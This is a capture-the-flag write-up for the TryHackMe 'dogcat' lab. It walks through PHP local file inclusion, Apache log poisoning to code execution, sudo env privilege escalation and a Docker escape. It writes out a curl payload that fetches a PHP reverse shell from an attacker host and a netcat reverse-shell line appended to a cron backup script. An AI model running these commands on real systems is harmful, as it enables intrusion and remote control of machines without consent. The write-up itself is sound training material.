dogcat (THM)

TryHackMe dogcat Write-Up

topics: web application security, local file inclusion, docker escaping, log poisoning, Linux Privilege Escalation

  1. Plan

  2. Enumeration

  3. Local Privilege Escalation

  4. Root Privilege Escalation

  5. Escaping Docker Escalation

new tools:

tools: nmapAutomator, dirsearch, gobuster, payloadallthethings

Plan

We know we will have to exploit an LFI vulnerability on a Linux machine running docker and website coded in PHP.

Enumeration

initial nmap scan ./nmapAutomator.sh $ip Basic

We have two ports open, 22 (ssh) and 80 (http). Lets run a dirsearch and gobuster scan on the website and visit the homepage.

python3 dirsearch.py -u $ip -e php,html,txt

gobuster dir -u http://$ip -w /usr/share/dirb/wordlists/common.txt

We see there is a potential login page as well as /cats and /dogs subdirectories that we don't have access to. I also ran an nmap vulnerability scan that didn't return any useful information.

We know that we have to find an LFI vulnerability, and when we navigate to the dog/cat subdirectories, we are met with the proper syntax

At first, attempting a basic directory path traversal using /etc/passwd in place of "dog" or "cat" yields a blank page with a message "Sorry only dogs or cats are allowed." There are dozens of ways to exploit LFI vulnerabilities, lets experiment and attempt to extract more useful information.

The above message could be a hint, what if we need to keep the dog/cat parameter and view the passwd file following it. Attempting /?view=dog/../etc/passwd yields

This is an interesting piece of information. We know we are four directories out and we also know that the file we attempted to read was processed as a .php file. Because this is a website we can conclude the input following dog/cat is processed as a file extension.

There is also an index.php (the homepage) file that is called and contains an include() function. Directories on webservers contain common web pages under one folder, explaining why we see the request attempting to load the homepage. Include() functions in PHP are used to include a php file in another file. This could mean a number of things, the most important of which is to figure out how we manipulate that function to use a RCE vulnerability.

Inspecting the index.php page within the same directory (an extension is not needed as they are applied automatically)

Lets review what we know at this point

  • text is returned if it follows the dog/cat parameter

  • whatever file we attempt to read is appended with a .php file extension

After some research I came across this article describing elements of our situation. We'll have to use a php filter LFI to read system files. Attempting ?view=php://filter/convert.base64-encode/resource=dog/../../../etc/passwd

We see the attempt to view /etc/passwd was unsuccessful, because the goal is to base64 encode the file before it is used in the include() function. Lets try visiting the index.php file within the server as a test.

An output of a long base64 encoded string is returned. Decoding the string below returns source code of the index.php file with a key ingredient.

Remember, the error that was returned to us initially mentions the include() function, the process of including a PHP file in another one. We see the error message "dogs or cats only" in the function, but also another line of code.

This is a get statement commonly used by additional parameters within PHP. It means that if we include a blank "&ext=" parameter, we should be able to use a directory traversal attack.

Local Privilege Escalation

Now that we have exploited the LFI vulnerability, lets find a way towards RCE with LFI as our attack vector. Payloadallthethings has a compact and useful list to achieve LFI to RCE. As this is an Apache server, I'm going to attempt Apache log poisoning.

We can see that in each request, the user-agent is sent along with the desired file. This will enable us to manipulate the user agent to any PHP code we choose.

We can use burp suite, a python script or curl to achieve this. The curl request can be done in one line using the -A parameter to upload the PHP code as the user-agent. Because we have RCE, it would be easiest use the PHP file_put_contents and file_get_contents functions to download the default Kali PHP reverse shell to the server. Edit for the attacking IP and listen for the shell.

curl -A "<?php file_put_contents('shell.php',file_get_contents('http://attackIP:8080/shell.php')) ?>" -s http://victimIP

Flag 1

Lets see if there are any flags in the server directory /var/www/html

Flag 2

We can search the system for all files that start with "flag" to potentially find the others as well. find . -type f -name "flag*" 2>/dev/null

We see the first two flags are visible, perhaps we need root permission to view the remaining two.

Root Privilege Escalation

Checking our sudo permissions sudo -l

It appears we an use env command as sudo. A quick search on GTFObins explains how to elevate our privileges. sudo env /bin/bash

Flag 3

find . -type f -name "flag*" 2>/dev/null

We are still missing the last flag. Lets check what's in our working directory first.

Escaping Docker Escalation

Flag 4

Everything is standard except for .dockerenv, what this means is we are stuck in a docker environment and need to escape in order to get the last flag. As wget and curl are both disabled we aren't able to run an enumeration script. The most practical first step to make is search for executable files on the system.

find . -type f -name '*.sh' 2>/dev/null

There is a backup script installed, lets examine it and our permissions.

This executable script runs every so often and makes a backup of the system, we also have full permissions to interact. We can add a bash reverse shell line to the file and listen on our attacking machine.

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackIP 4445 >/tmp/f" >> /opt/backups/backup.sh

Last updated